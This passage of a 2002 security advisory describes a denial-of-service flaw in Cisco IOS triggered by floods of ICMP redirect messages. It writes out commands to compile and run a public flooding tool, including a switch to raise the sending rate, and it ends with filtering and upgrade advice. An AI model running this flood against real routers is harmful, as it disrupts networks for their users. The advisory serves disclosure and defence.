Cisco IOS ICMP Redirect DoS4

Cisco included.
　　05/21/2002 Info from Cisco: Fix available shortly.
　　
　　Example:
　　To generate random ICMP redirect messages, a sender tool is available at
　　
　　http://www.phenoelit.de/irpas/icmp_redflod.c, which has to be linked with
　　the IRPAS packet library.
　　
　　linuxbox# cd /where/irpas/is
　　linuxbox# make libpackets.a
　　linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
　　linuxbox# ./icmp_redflod -i eth0 -D -G
　　
　　On high bandwidth networks, the command line switch -w0 can be used to
　　increase the sending rate.
　　
　　Solution:
　　Filter inbound ICMP redirect messages or update your IOS to either a not
　　vulnerable release or a fi

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